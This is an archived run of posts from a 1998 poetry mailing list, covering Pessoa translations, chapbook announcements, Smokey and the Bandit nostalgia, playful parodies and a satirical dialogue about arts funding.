Wed 9 Sep 1998

mcgwire and sosa seem like great sports, the finest millionaires you want to meet, but i was disappointed by the fox network and ted turner's technicians who weren't prepared (though they knew days in advance it was going to happen) to show us film of maris hitting his record making shot or some of the hate messages he received for his desecrating the memory of the sacred babe.

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

↑ Index

223. **Billy Little**
Re: Waddaya call amuricans?
Wed 9 Sep 1998

---

in a thrift shop in London some time ago the cashier said: Canajuns, Amurkins, you're all yanks.

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

↑ Index

224. **acgold01**
20C. Lit. Conference again
Wed 9 Sep 1998

Thanks to those of you who pointed out my mistake in listing the conference site--turns out it's printed incorrectly on our conference poster (embarrassing mistake!), which is where I copied it from. Anyway, the correct site address is

http://www.louisville.edu/a-s/cml/xxconf/call99.html

I'd missed out the "louisville" before.

Alan

↑ Index

225. L. MacMahon and T.R. Healy
to be a pilgrim
Wed 9 Sep 1998

A student of mine needs to know the name of a "prominent" American family, perhaps politicos or plutos, who can, ostentatiously or otherwise, trace their origins to the pilgrim fathers. Any suggestions would be very welcome.

Randolph Healy

from [redacted]

↑ Index

226. Gary Sullivan
Many Groovy Things-2-Come
Wed 9 Sep 1998

Well, I hadn't meant to announce this just yet, but since Rachel let this (& other) cat(s) out of the bag . . .

NEW CHAPBOOK SERIES FROM DETOUR PRESS

Mitch Highfill, _Blue Dahlia_, $6

"You've got the wrong lipstick on your face, mister,
    a head full of images long separated from life
    wound up and activated by circumstances
    emptied of content. . . ."

Rachel Levitsky, _Cartographies of Error_, $6 (w/groovy misquoted Bromige e-mail tipped in, $10) (w/tortured e-mail apology to Bromige from Levitsky, signed by the author, $20)

"Before I forget,
as a feminist I don't insist on speaking about Nature,

that is the job of the men in space ships.
I don't say that as a manhater,
but I did not invent nuclear fission,
that was done on the computer.

I was busy in the bathroom. I was defining my terms. . . ."

Laurie Price, _Under the Sign of the House_, $6

"Broken through the glare of hedgelights
fed out along a highway like gigantic trees
are real trees, noted, braided in among
the simian shadows. An itchy arc defining

something precise, assimilated, the way one
arrives at conclusions, often, believing them
as if they were more than."

Geoffrey Young, _After the Fact_, $6

"What I am wants
but waits
impatiently
and so we reach
the year 1907

introducing these few
incidentals:
to _muse_
derives from
the medieval Latin

for snout, to sniff
around, to cast about
for a scent,
since nature
is change . . ."

Purchase all 4-at-once and pay only $20! These books will be available late fall of this year. BUT: Order all 4 before October 1 and pay only $15!

Q: "No way, Gary! There must be some mistake! Are you on something?!?"

A: "Esta verdad, bay-bay. I'm high on life!"

Watch this space for NYC-area reading/book party announcement-to-come . . .

To be published later in this series: Daniel Davidson memorial & chapbooks by Ange Mlinko, Joel Kuszai, Sheila E. Murphy, & others-2-be-announced . . .

EXILE: "The Crank Issue" -- Featuring the Two Seasons groovy chapbook publication of Charles Olson's "Letter to _Field & Stream_" from 1952; Richard Kostelanetz's all-purpose multiple-submission w/SASE, "They Stole All My Ideas and Gave Me No Credit"; Tom Phan's selection of passages from Barrett Watten's Iowa thesis, "Prowess Precedes Progress"; Joel Lewis's "The Pethro Poems" (in homage to Edward Dahlberg); Cartoon: "Kristoff, Rebel Academic!"; "Poetry? O, Posh!" a panel of luminous cranky personalities berating each other incessantly! including: Carol Bly, Stan Brakhage, Gerald Burns, Maya Deren, Laura Riding, Jack Smith, etc., moderated by the ever-befuddled Bill Moyers; and much, much more . . . this special (long-overdue) issue will go out to all subscribers, but non-subscribing listmembers can have it FREE with an order of anything else mentioned in this e-mail, or for $5, postage paid.

DETOUR BACKLIST

Erik Belgum, _Star Fiction_, $11.95
Johanna Drucker, _Dark Decade_, $10.95
David Gilbert, _I Shot the Hairdresser_, $8.95
Stephen-Paul Martin, _Fear & Philosophy_, $8.95

Hot dang! Backlist above has gotta go! sUpEr-cRaZeE Deal for Listmembers: FIVE BUCKS EACH! *I* pay postage! You sit there & wait! Books arrive "soon enough"! Please make all checks out to GARY SULLIVAN. Send orders to:

Gary Sullivan
331 13th Street, #4L
Brooklyn, NY 11215

Okay. Bye for now,

Gary

PS: Susan Schultz, DO NOT order! I owe you four billion books! They are on their way! I swear to god! You too, Hoa & Dale! Oh, and you too Mark Salerno!

↑ Index

227. Jordan Davis
10-4 good buddy
Wed 9 Sep 1998

Ah thank you, Chris --

Evuh notice the neahness of e-mail cultchah to the 70s cb scene? Evuhbody log-gin long hours goin' down the highway, high on stimulants, starin' straight ahayud. Ah'm hopin' theyull cast Kris Kristoffuhson as Henr' in the movie, POETRIX --

don't let the smokeys getch' --
Signed, Greg Evigan

↑ Index

228. david bromige
art & life & araboiserie
Wed 9 Sep 1998

Dear me Mr. Kent, the literary character not the man, that was the trou-ble! You are created a literary character in your Khartoum letter, just as I am creating myself Mr. Davood, and Mr. Kent can say anything he wants to Mr. Davood, and vice versa, if in correct patois. So Mr. Davood is saying things ap-parently to Mr. Kent, but really to their audience (o yes, there is being one) on

the Listserv, and Kent Johnson is not to be taken personally aback. no more should David Bromige cry aloud under the lashes of Mr. Kent if directed at back of Mr. Davood....On which misnomer, more later.

And the things I am created to write cannot be about me, for I do not exist, so they are about everybody. Everybody is studding at college, measuring p-word and c-word, where to apply, etc., studding up how the collect word for harem or marry'm, one of em, old game of hunt & pecker, saucy gander get saucier goose. Hah!-- Btw, Mr. Kent, since you are so the expert on the harem, can you say where are mine gone? They sly from me who sometime did me freak, as Sir Thomas Whynot is compleynting. O lonely me! How I enjoy to put on the CW vinyl here at the hustele. How are you doing, goodlookin'? If you see her, send on home to me. When you walk down the street, my heart falls at your feet. The days and nights are getting longer. Headed for the creating side of town. I'm nobobdaddy's refining sugar now. I'm not makin' party out of lovin', just like Muskokees. Whippoorwhill not being so lonely, since I hear him.

So my mentor Professor Bromige is writing upsetly to his corespondent Professor Johnson because B feels J broke the wonderfully unspoken rules. Having superbly done art in Khartoum missives, J ununderstandably turn into reallife clutch of pointed sticks. So B is saying J is the real postmodernist ping-pong backwardshot paddle champ, he himself B only one dismayed discontestant, though flatterned with your plenteous praise and ever eager for more of the seme thing, though his real motive, he is saying thru me, is me itself and a possible playmate for me, in the parallel park situation not the headon tragic mundane, where severeal issues of poetry today can be shopped if not priceless.

B say moreunder "Davood" is slip of keyboard for "David," me sharing name at first with him. B is himself an apologist for misunderstanding that I am of arab world, B saying his rarely laughable broken language is sole result of himself translating psyche-wise to the London england of his first schoolings from the californica argot he is writing else to the List employing, and there is reason being the "Anglo" in "Anglo-Egyptian Sudan" tripwries old language-injuries into the bargain of outdating political boarders. Also welcome chance to do bad writing this time with intentions.

Glad indeed to have gotten out of the way of that burden, may I assure you, Mr. Kent, that if meeting you means having to journey to Khartoum, let us be meeting half the way. How a jolly bout the France of the master poet Alan Jennifer Sondheim--I should liking the overwhelming intellect existence he foreshadows! Les Cafes Philosophes for us, my friend! With two wine glasses and an artifacted argument always safely between us, we shall be the very spirit McGregor and Seltza of St.Louis Germain duh Prez!

I am kissing your feet, David (The Text one, not the One with the Painful Feet of himself).

Oops! I had instead of been backchanneling such confidence privations!

↑ Index

229. **MAYHEW**
Trakl
Wed 9 Sep 1998

My spell check suggested treacle for Trakl. Anyway, this poem is called "After Trakl (2)" (title originally in English). The poet is Leopoldo Maria Panero:

"Dark is the brow of the solitary man
wandering through the garden where the stars have died
through the motionless garden where the stars have died:
and a fish in the sky
gleams
showing the path of excrement"

Ring any bells with anyone?

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

230. **MAYHEW**
generic charming backchannel accidently posted to the list
Wed 9 Sep 1998

Dear Friend:

Sorry about last night I got drunk and passed out please forgive me.

I know Davood Bromide personally and am very charming and witty needless to say.

I have good taste in literature and order lots of poetry books from S&M press.

.... oops. This message was meant to be purely personal. I'm SOOO embarrassed. Please forget the part about passing out but not about my wit and charm.

Jonathan

↑ Index

231. Rachel Loden
Re: Pessoa
Wed 9 Sep 1998

Don't recognize that, but all I have is the Honig/Brown _Poems of FP_ and the prose _Book of Disquiet_. There are similar lines scattered throughout but this one seems a bit over the top, even for this excitable boy. I could easily be wrong. Two excerpts from the Ricardo Reis heteronym and one from Álvaro de Campos:

Lydia, we know nothing. We are strangers
Wherever we may be.

Lydia, we know nothing, We are strangers
Wherever we may live . . .

* * *

Nothing comes of nothing. We are nothing.
Briefly in sun, in air, we postpone
The unbreathable darkness that weighs us down
. . . .
We're stories telling stories, nothing.

* * *

On the road to Sintra, near midnight, at the wheel in the moonlight,
On the road to Sintra, tired of my own fancies,
On the road to Sintra, each moment closer to Sintra,
On the road to Sintra, each moment farther away from myself . . .

Rachel Loden

MAYHEW wrote:
>
> I don't now Pessoa as well as I should. There is a strange Spanish poet
> who does translations, some of which have no originals behind them. Here
> is my rough version of Leopoldo Maria Panero's "Imitation of Pessoa"--does
> anyone recognize the poem its an imitation of? If it comes from a real
> Pessoa poem it might shed light on the whole virginity question:
>
> Love, do not be: flee from being and let being flee from you
> like a dead man, and tell it, don't touch me
> like a dead man, let life not plant in me
> its animal claw, for
> life is a sin, love, do not be
> life smells bad, love

> do not be for living is a
> perpetual flight from that birth that strangers
> conspired against your happiness one day, from that
> birth that those unknown people
> wanted for you and noone could match you
> because you are still a virgin, a virgin
> like a saint, from life itself:
>
> my love, be like me, do not be.
>
> There are also some Trakl translations that I am trying to track down.
> I'll post them soon.
>
> Jonathan Mayhew
> Department of Spanish and Portuguese
> University of Kansas
> [redacted]
> [redacted]

↑ Index

232. Tom Beard
Re: Pessoa
Wed 9 Sep 1998

> *On the road to Sintra, near midnight, at the wheel in the moonlight,*
> *On the road to Sintra, tired of my own fancies,*
> *On the road to Sintra, each moment closer to Sintra,*
> *On the road to Sintra, each moment farther away from myself . . .*

Am I the only one who read this as "On the road to Sinatra..."?

Tom.

↑ Index

233. Jim Andrews
seeking to contact David Zack
Thu 10 Sep 1998

My friend Maris Kundzin, not yet fully wired, is hoping to contact David Zack to obtain permission to use some Zack footage in a film Maris has made. These two dreamt up Monty Cantsin together many years ago.

If anybody would be so kind as to backchannel contact info on Zack, it would be much appreciated.

Regards,
Jim Andrews

--
V I S P O ~ L A N G U (I M) A G E
http://www.speakeasy.org/~jandrews

↑ Index

234. Todd Baron /*/ ReMap

Re: generic charming backchannel accidently posted to the list

Thu 10 Sep 1998

MAYHEW wrote:
>
> Dear Friend:
>
> Sorry about last night I got drunk and passed out please forgive me.
>
> I know Davood Bromide personally and am very charming and witty needless
> to say.
>
> I have good taste in literature and order lots of poetry books from S&M
> press.
>
> .... oops. This message was meant to be purely personal. I'm SOOO
> embarrassed. Please forget the part about passing out but not about my
> wit and charm.
>
> Jonathan

geez--is it the return of the semester--or is this list--listing?

Tb

↑ Index

235. louis stroffolino

Re: 10-4 good buddy

Thu 10 Sep 1998

---

ah one of my CW (Mccoll?) students just submitted a poem called
"breaker, breaker". I used to have a CB and a paper-route.
I'm havin' trouble with the teminology but I'm into CB--
which could stand for Charles Bernstein--one of the first
mag (actually ZINE be the word, c) eds. to pub. l'il ol' me--

under a punk juvenalia psedonym (PAT RIOT, urgh), the zine
called COPS HATE POETRY (not SMOKEYS---oh did i mention I'm
born the same day as Jerry Reed),
or CLINT BURNHAM--who edited a mag called CB and who
now lives in BC and who prefers THE FALL to ACDC (methinks)
(oh jimmy schuyler jackson 5 ABC)
buth what if the smokeys already getcha, gotcha (like the
70s razor comercial?). he do the police in different...
" he is the author of three books including COPS..."
and the smokeys may then there get RACHEL LEVITSKY if she's
not carful if she's gonna APE that song by Stevie Blind Boy
Wonder because he gets put in prison for being unwitting FALL guy
(totally wired?), but then Bill Louima plunged in and told me
that my last book was written when I was a prisoner
(of my own device? oh to fly like a beagle or bagel
anything but HEGEL; even KANT, he's better on marriage)
and I though that maybe that was true
but I hope the only way out isn't to have to be baseball
or hawaiin (Cow (CB)....PUNCH, the OZmuns,(frankly mup)
but this be glitch glitch glitch---
glitter gulch? GULPH MILLS.("in a world of labials")
standard and gamble (and huff!)
proctor and poors
beaker beaker 70s club scene, cub seen
(exi[s]t, pursued by a bear)------
kristroffer (a beaker baby
with a hairy mind)

On Wed, 9 Sep 1998, Jordan Davis wrote:

> *Ah thank you, Chris --*
>
> *Evuh notice the neahness of e-mail cultchah to the 70s cb scene? Evuhbody loggin long hours goin' down the highway, high on stimulants, starin' straight ahayud. Ah'm hopin' theyull cast Kris Kristoffuhson as Henr' in the movie, POETRIX --*
>
> *don't let the smokeys getch' --*
> *Signed, Greg Evigan*

↑ Index

236. david bromige
llareggub macaronics
Thu 10 Sep 1998

On the road to Sinatra, around about midnight
On the road to Sinatra, not Lamour, Bing or Hope
On the road to Sinatra, as some limp ones came running
On the road to Sinatra, where the list lost its listing
On the road to Sinatra, where Antigonus exited pursued by the Pope
On the road to Sinatra, where sin equals singing
On the road to Sinatra, where they did shoot a poet
On the road to Sinatra, then or soon after, mysterious light
On the road to Sinatra, when Chris Stroffolino'd
On the road to Sinatra, where we glimpsed a sonnet
On the road to Sinatra, a chain rubbed with breadcrumbs
On the road to Sinatra, and social significance (noone u knowed)
On the road to Sinatra, nicotine had us fawning
On the road to Sinatra, last line,in the small, wee hours of the morning

↑ Index

237. Natalia Pang
USAdjective
Thu 10 Sep 1998

Zuleika Dobs On

Elron E. Chili-Lei

Nellie Chirio

Holler "I . . . I . . . Ice "

LeRoi Le Chini

Iron Lichee-Li

When Coves Dry

Show Vern Dyc

I give up!

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

238. Louis Cabri
PhillyTalks #5
Thu 10 Sep 1998

Newsletter #5, featuring Rodrigo Toscano and Alan Gilbert, is now available.

Their event takes place Sept. 17, 6pm, Kelly Writers House, 3805 Locust Walk, Phila.

Please renew your PhillyTalks subscription if it's lapsed. $12/5 issues. Thanks.

Louis Cabri
4331 Pine St., #1R
Philadelphia, PA
19104

↑ Index

239. Fredrik Hertzberg LIT
Many Dimensions: The Extensions of Marshall McLuhan) (fwd)
Thu 10 Sep 1998

---------- Forwarded message ----------
>Date: Wed, 26 Aug 1998 22:33:11 -0400 (EDT)
>From: Robert Hanke <[redacted]>
>To: [redacted]
>Subject: Many Dimensions: The Extensions of Marshall McLuhan)
>Sender: [redacted]
>Precedence: bulk
>Reply-To: [redacted]
>
>In the fall of 1968, the University of Toronto dedicated the historic
>Coach House to Marshall McLuhan as an exclusive research and teaching
>facility. Thirty years later, the McLuhan Program in Culture and
>Technology will celebrate this event by convening a Coach House Festival,
>October 19-31, 1998. (@ the University of Toronto, Toronto, ON Canada)
>Midway through the Festival, the Program will host a scholarly conference
>entitled Many Dimensions: The Extensions of Marshall McLuhan, October
>23-25, 1998. Contemporary scholars from multiple disciplines will be
>invited to present their research on media, technology and culture in the
>"global village." In order to explore the meaning and significance of
>McLuhan's work for the contemporary mediascape, participants will reflect
>critically on the extensions of McLuhan's ideas in their own work.
>Interviews will be conducted with conference participants as part of an
>ongoing oral history research project. Conference proceedings will be

>recorded on video, and organizers intend to publish selected papers in
>print and on CD ROM.
>The conference codirectors are Derrick de Kerckhove, Liss Jeffrey and
>Eric McLuhan. Our honorary conference patron is Mrs. Corinne McLuhan.
>For further information, or to add your name to our email list, please
>contact Bob Hanke, Conference Coordinator, [redacted], or
>visit our website at http://www.mcluhan.utoronto.ca/festconf.html
>
>
>

↑ Index

240. **Michael Magee**
Re: 10-4 good buddy
Thu 10 Sep 1998

I can't let this pass without mentioning that we watched *Smokey and the Bandit* in its entirety late the other night and it seemed utterly alien material from another time. To conceive of it being accepted by a large-scale movie-going audience today is nearly impossible: it is almost sublime in its simplicity, its constant repetition of a single motif: The Bandit drives really fast and gets away with it. This is its one message, its one object to be contemplated, its one source of pleasure. Over and over and over the bandit drives really, really fast (never mind why) and avoids the smokeys. One waits for something else but their *isn't* something else. And after 5, 6, 7 of these, to my amazement, this becomes immensely pleasurable, the pleasure of the joke which is gut-busting funny precisely because nothing could be less funny. It occurred to me that this must have come out just after Carter lowered the speed-limit & so this must have tapped into the time-honored "get-the-govt-off-our-backs" cultural mantra - but forget that, it ruins the zen-like beauty of the thing.

-m.

According to louis stroffolino:
> > ah one of my CW (Mccoll?) students just submitted a poem called
> "breaker, breaker". I used to have a CB and a paper-route.
> I'm havin' trouble with the teminology but I'm into CB--
> which could stand for Charles Bernstein--one of the first
> mag (actually ZINE be the word, c) eds. to pub. l'il ol' me--
> under a punk juvenalia psedonym (PAT RIOT, urgh), the zine
> called COPS HATE POETRY (not SMOKEYS---oh did i mention I'm
> born the same day as Jerry Reed),
> or CLINT BURNHAM--who edited a mag called CB and who

```
>       now lives in BC and who prefers THE FALL to ACDC (methinks)
>                    (oh jimmy schuyler jackson 5 ABC)
>       buth what if the smokeys already getcha, gotcha (like the
>        70s razor comercial?). he do the police in different...
>        " he is the author of three books including COPS..."
>   and the smokeys may then there get RACHEL LEVITSKY if she's
>    not carful if she's gonna APE that song by Stevie Blind Boy
>   Wonder because he gets put in prison for being unwitting FALL guy
>   (totally wired?), but then Bill Louima plunged in and told me
>     that my last book was written when I was a prisoner
>       (of my own device? oh to fly like a beagle or bagel
>         anything but HEGEL; even KANT, he's better on marriage)
>      and I though that maybe that was true
>       but I hope the only way out isn't to have to be baseball
>           or hawaiin (Cow (CB)....PUNCH, the OZmuns,(frankly mup)
>           but this be glitch glitch glitch---
>             glitter gulch? GULPH MILLS.("in a world of labials")
>                     standard and gamble (and huff!)
>                      proctor and poors
>                     beaker beaker 70s club scene, cub seen
>                       (exi[s]t, pursued by a bear)------
>                      kristroffer (a beaker baby
>                               with a hairy mind)
>
>
> On Wed, 9 Sep 1998, Jordan Davis wrote:
>
> > Ah thank you, Chris --
> >
> > Evuh notice the neahness of e-mail cultchah to the 70s cb scene? Evuhbody
> > loggin long hours goin' down the highway, high on stimulants, starin'
> > straight ahayud. Ah'm hopin' theyull cast Kris Kristoffuhson as Henr' in the
> > movie, POETRIX --
> >
> > don't let the smokeys getch' --
> > Signed, Greg Evigan
> >
>
```

↑ Index

241. KENT JOHNSON
Re: Pessoa
Thu 10 Sep 1998

On Pessoa, there is the brand new book, _An Introduction to Fernando Pessoa_, by Darlene Sadlier_. (Univ Press of Florida), perhaps the most extensive overview of FP and company in English. The book's selected bibliography somehow omits _A Pessoa Centenary_ (Carcanet, pub. in '95 or thereabouts), which contains the only English translation (to my knowledge) of Octavio Paz's truly magisterial essay on the poet, plus loads of fantastic photos.

↑ Index

242. MAYHEW
Re: Pessoa
Thu 10 Sep 1998

I don't read translations much if I know the original language (I dislike chilled soups) but I know Edwin Honig has done quite a bit of Pessoa. One edition has an intro by Octavio Paz. Since Honig is a quite interesting poet his Pessoa would be worth looking at. A few poems translated by him appear in _Poems for the Millenium_ vol. 1.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

243. Herb Levy
Re: Pessoa
Thu 10 Sep 1998

> *Friends,*
>
> *Do you think Pessoa died a virgin? I was just wondering.*
>
> *Bob Holman*

Uh, I hope no one minds a vaguely serious question about Pessoa, but I remember several years ago a discussion of a bad translation of Pessoa (hokey pokey & all).

Would anyone here care to to recommend some good ones?

Herb Levy
[redacted]

↑ Index

244. KENT JOHNSON
Re: Pessoa
Thu 10 Sep 1998

Herb:

In addition to poems available in translation from Honig there is _The Book of Disquietude_, translated by Richard Zenith (Carcanet, '96). This is the novel-length and still editorially contested "journal" of Bernardo Soares, Pessoa's "semi-heteronym." Zenith's (as well as Sadlier's) introductory essay here is worth a look to give an idea of how byzantine and cut-throat is the world of Pessoa scholarship.

↑ Index

245. David Baratier
Reading lists
Thu 10 Sep 1998

At the beginning of the summer I mentioned that I would read every book published by the members of this list. Some of you have titles which are very difficult to find, some were free, some places wanted full price no matter what, some paid me to review them, others were found on remainder, and some of you have decided to be published on presses who are eager to receive money without sending product. Shame on you's. With the exception of the latter, I have accomplished this feat. I also finished all of the other books I intended to read. As for my intention of interviewing everyone on this list, certain people paid no attention, thirty one interviews were started and two were finished.

This fall, I am taking suggestions as to what I should do next.

My predictions-- Many books will be published. Many books will appear in my mailbox (located at 345 E. Whittier St. Columbus OH 43206) there will be a measurable ratio between the two if there was an enthusiasm towards such. Many people will win awards, I know who some of you are already. Jordan & Chris will find a smokey place without fire hence resolving their feud. Henry's posts will slow with the student borrowing onslaught. David and Kent will let people know they have never been feuding. Dan Bouchard will visit another landmark or be given another political situation to write about. Bill Luoma will ask another odd question. The last issue of Mike & Dale & Hoa's younger poets will happen shortly after they publish something else without asking the author

who happens to have years of explosives training funded by the US government. Some louse will bring up someone like Armand Schwerner again much to the chagrin of everyone. Many unintended postings will appear, one which will cause particular scandal. Jeff Clark is determined not to be an FBI agent and Jeff McDaniel will be. Someone will purposely make mistakes in false self referentially. New people will lurk on the list thinking their voice not important enough to type. In typical fashion the fashionable will appear as such except to those who have experienced the ruse of dandyism.

Recently, a book crawled into the post box of the ilk I rarely see. Surely my only comfort in dead periods such as this on the list has been Tony Hoagland's Donkey Gospel. You send me a funnier book than that & I'll eat it.

Be well

David Baratier

↑ Index

246. Laura E. Wright

Re: Pessoa

Thu 10 Sep 1998

Tom Beard wrote:

> *On the road to Sintra, near midnight, at the wheel in the moonlight,*
> *On the road to Sintra, tired of my own fancies,*
> *On the road to Sintra, each moment closer to Sintra,*
> *On the road to Sintra, each moment farther away from myself . . .*
>
> *Am I the only one who read this as "On the road to Sinatra..."?*
>
> *Tom.*

Nope, you're not.

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan
* * * * * *
"It is very much like it" -- Gertrude Stein

↑ Index

247. K.Angelo Hehir
smokey sightings
Thu 10 Sep 1998

---

this smokey and the bandit talk is too wierd. two weeks ago while camping on an indian reserve in northern ontario they were playing the sound track to smokey and the bandit on the community radio station. my partner couldn't believe that i knew all the words and could sing along. she'd never heard of it. brought back good memories for some reason.

i wonder when you ask if it could hold a theatre full of adults today.i wonder if it ever did or whether the theatre was just full of 11 year old boys?

hmm
kevin

↑ Index

248. Mark Weiss
Re: smokey sightings
Thu 10 Sep 1998

When Henry Adams talked about an accelerating historical pace he didn't know the half of it. What a concept: "Smokey and the Bandit" as an artifact of the Peaceable Kingdom.

At 03:57 PM 9/10/98 -0400, you wrote:
>this smokey and the bandit talk is too wierd. two weeks ago while camping
>on an indian reserve in northern ontario they were playing the sound track
>to smokey and the bandit on the community radio station. my partner
>couldn't believe that i knew all the words and could sing along. she'd
>never heard of it. brought back good memories for some reason.
>
>i wonder when you ask if it could hold a theatre full of adults today.i
>wonder if it ever did or whether the theatre was just full of 11 year old
>boys?
>
>hmm
>kevin
>
>

↑ Index

249. **r.drake**
New book from Bill Shields (fwd)
Thu 10 Sep 1998

> *---------- Forwarded message ----------*
> *Date: Wed, 9 Sep 1998 14:34:51 +0000*
> *From: ROD SPERRY <[redacted]>*
> *Subject: New book from Bill Shields*
>
> *Hello all:*
>
> *We're writing to let you know about "Cordite," the new chapbook from Bill Shields (author, "Human Shrapnel," "Lifetaker"). You may know Bill from his many writings on Vietnam and life in the States after the war. Whether you're familiar with his work or not, "Cordite" is a great book: it's equal parts funny and horrifying -- a look at coping with reminders of war everyday, everywhere, even in the most domestic settings.*
>
> *Please check out the 50 Gallons of Diesel website for more info: http://members.tripod.com/~fifty_god/index.html*
>
> *All monies generated from sales of "Cordite" will benefit a fellow small-press publisher in who is facing hard times. Every copy of this limited edition of the book will be numbered and signed by Bill Shields.*
>
> *There's lots more on the site, including intros to all our authors, and the entire script of a short documentary film about Shields.*
>
> *Thanks for your time.*
>
> *50 Gallons of Diesel*
> *PO Box 440026, West Somerville, MA 02144*
> *http://members.tripod.com/~fifty_god/index.html*

↑ Index

250. **Laura E. Wright**
query from Joe
Thu 10 Sep 1998

Joe asked me to forward this -- he's temporarily off-list.

Folks:
I've been off-list for awhile and have no doubt missed some fascinating discussions, but I have a favor to ask-Duncan McNaughton, whom many of you
know or know of, will be giving a reading in Vancouver on or around

October
10, and would like to supplement that with other readings in either Seattle,
Portland or Vancouver. I know the time frame is short, but if any of you are
aware of possible venues for such readings in any of those three
cities-from, let's say, October 10 to the 17th-could you please contact me
at [redacted] <mailto:[redacted]> ?
Duncan's un-electronic, so I'll have to be a go-between in this enterprise.
Thanks in advance for any information you can forward along . . .

Best,

Joe Safdie

↑ Index

251. Gary Sullivan
Tea Time with Glenda
Thu 10 Sep 1998

TEA-TIME WITH GLENDA

Glenda, the Goodhearted Arts Administrator ? and special guest Kristoff, Rebel Academic? discuss alienation on the internet and its impact on individual arts granting, travel funds for professional conferences, e-mail NEA petitions and other arts-related issues.

GLENDA: My guest today is Kristoff, the Moire Effect Chair and Professor of Liminal Obfuscation at Brown Buffalo University. He is also the author, most recently, of _In the Garden of Giordano Adorno: Totalitarianism and the New Cyber Heretics_, published last year by Vervivovuva. Kristoff, I'm really happy to have you here today. Everyone at the Foundation really loved your little book.

KRISTOFF: Yes, it seems to have taken on a life of its own.

GLENDA: "A life of its own." Wow. I've never thought of a book having "life" before . . . but it does make an odd kind of sense. It's very "phenomenological," isn't it? [Giggles.] The cover feels just like human skin!

KRISTOFF: "Giordano Adorno" is, as you know, a hippogriff.

GLENDA: [Blushing.] A hippo--?

KRISTOFF: --griff, yes. Though I suppose to be thoroughly post-Henna 90s about it, we'd call her a hippogrrrl, hmm? "Hippogrrrl." Oh, my. Anyway,

"Theodor Bruno" just didn't seem quite as catchy. For [chuckles heartily], well, for obvious reasons. But then one becomes endlessly attendant to this sort of minutiae. Minutiae: M-i-n-u-t-i-a-e. It is all rather insect-like, isn't it? So, hmm, yes, I suppose there really was something to Cronenberg's cockroach-infested Burroughscape . . . [scribbles in noebook] . . .

GLENDA: You were just inspired to write a poem, weren't you! [Long, deep sigh.] Okay. Let's go back to what you were saying before about books and life. There's a relationship between the two you seem to be connecting up. That seems so . . . radical . . . I mean--

KRISTOFF: [Interrupting.] Oh, my, well [blows nose into monogrammed handkerchief] it's very radical, Glenda, the academic climate being what it is. [Under his breath:] Byzantine cutthroats!

GLENDA: I just love the way books smell! [Inhales the binding of Kristoff's book with near-perverse intensity.] How could anyone say the author is dead! Smell him! Smell him, Kristoff! [Thrusts book in Kristoff's face, knocking his glasses off.]

KRISTOFF: Uhn!

GLENDA: Oh my goodness! Kristoff! I'm so, so sorry! [Fumbles around on the floor, coming up with Kristoff's glasses.] I do like these glasses. A lot of our successful applicants this year are wearing them. [Looks out through Kristoff's glasses.] I'm now seeing the world as Kristoff sees the world! Such excess! And yet, such paucity! O! [Smiles, handing glasses back to Kristoff. Sing-songy:] I know someone whose travel grant is going to come through!

KRISTOFF: Yes, well, where were we?

GLENDA: We were talking about your book. I just get so excited talking about books. It gives me so much satisfaction to know that we have, through the Foundation, helped bring so many important books into print. In fact, if I'm not mistaken, _Giordano Adorno_ was one of them!

KRISTOFF: [With slight discomfort.] Indeed it was.

GLENDA: What's it about? Your book, I mean. It sounded interesting from your proposal.

KRISTOFF: Let me see if I can break it down for you sans academese. I was playing with ideas about identity, speed, the body, frames, the internet, alienation, gender, sexual politics, and culture. I wanted to create a post-panopticonic site in which to see the pathology of the individual played out to its utter exhaustion against the totalitarian impulses of--

GLENDA: [Interrupting.] By "culture" you mean "multicultural"?

KRISTOFF: Well . . . yes, in a sense, I suppose--

GLENDA: [Visibly relieved; filling teeny-tiny boxes with expressive check-marks:] I thought so. Please, go on. This is truly fascinating. You're so articulate! I'm so glad you're my guest today. [Squeezes Kristoff's arm.] Hey! You have a tattoo! "I . . . heart . . . Kristeva . . ." Wow, Kristoff. You must love your mother very, very much.

KRISTOFF: . . . er . . . yes . . . well, so this book, really, is the culmination of some twenty-five years of--

GLENDA: We have to cut to a commercial, Kristoff. Oh. No? We still have time? Okay, I'm sorry. Okay. Well, we have half a minute left. Listen. The Foundation is putting together an evening of readings by younger poets, we want to feature the best and the brightest . . . we put out an open call for applications, but there's just . . . [sighs] . . . well, there's just a mountain of submissions, Kristoff. We want to be fair about this, of course. So I'm wondering, since we have you here . . . as the Moire Effect Chair of Brown Buffalo, you better than anyone in the country know who the most promising young poets of today are . . . can you give us any suggestions? Lend us any arrows? Point us in the right direction?

KRISTOFF: Glenda, I just happened to bring along a list of my former students, among whom you'll find--

[CUT TO COMMERCIAL . . .]

↑ Index

252. **Ramez Ejaz Qureshi**

Re: Pessoa

Thu 10 Sep 1998

Grove Press has put out a pretty good selection translated by Richard Zenith

↑ Index

253. **Ramez Ejaz Qureshi**

Mina Loy

Thu 10 Sep 1998

I recently queried concerning a Mina Loy poem, but didn't know the title.The poem i'm looking for is "Anglo-Mongrels and the Rose." it's in the LastLB, sadly out-of-print. but Roger Conover was going to re-publish it. does anyone know about this? -Thanx, RQ

↑ Index

254. Ramez Ejaz Qureshi
query: Robert Duncan
Thu 10 Sep 1998

i have become very interested in Duncan, & gather that quite a few people on the list had the privilege of knowing him personally. Would anyone be so generous as to share interesting anecdotes or memories about him? -Thanx, RQ

↑ Index

255. Harriet Zinnes
Re: Mina Loy
Thu 10 Sep 1998

10 September l998

In The Lost Lunar Baedeker:Poems edited by Roger L. Conover (Farrar, Straus, Giroux, l996), Conover did not include "Anglo-Mongrels and the Rose" but he indicates in a note where it can be found as follows: The Little Review 9:3 (Spring l923), pp. l0-l8; 9:4 (Autumn/Winter l923), pp. 41-51; ContactCollectrion of Contemporary WRiters (Paris: Three Mountains Press, l925), pp. l37-94.

Hope this will be helpful.

Harriet Zinnes

↑ Index

256. Thomas Bell
Re: Tea Time with Glenda
Thu 10 Sep 1998

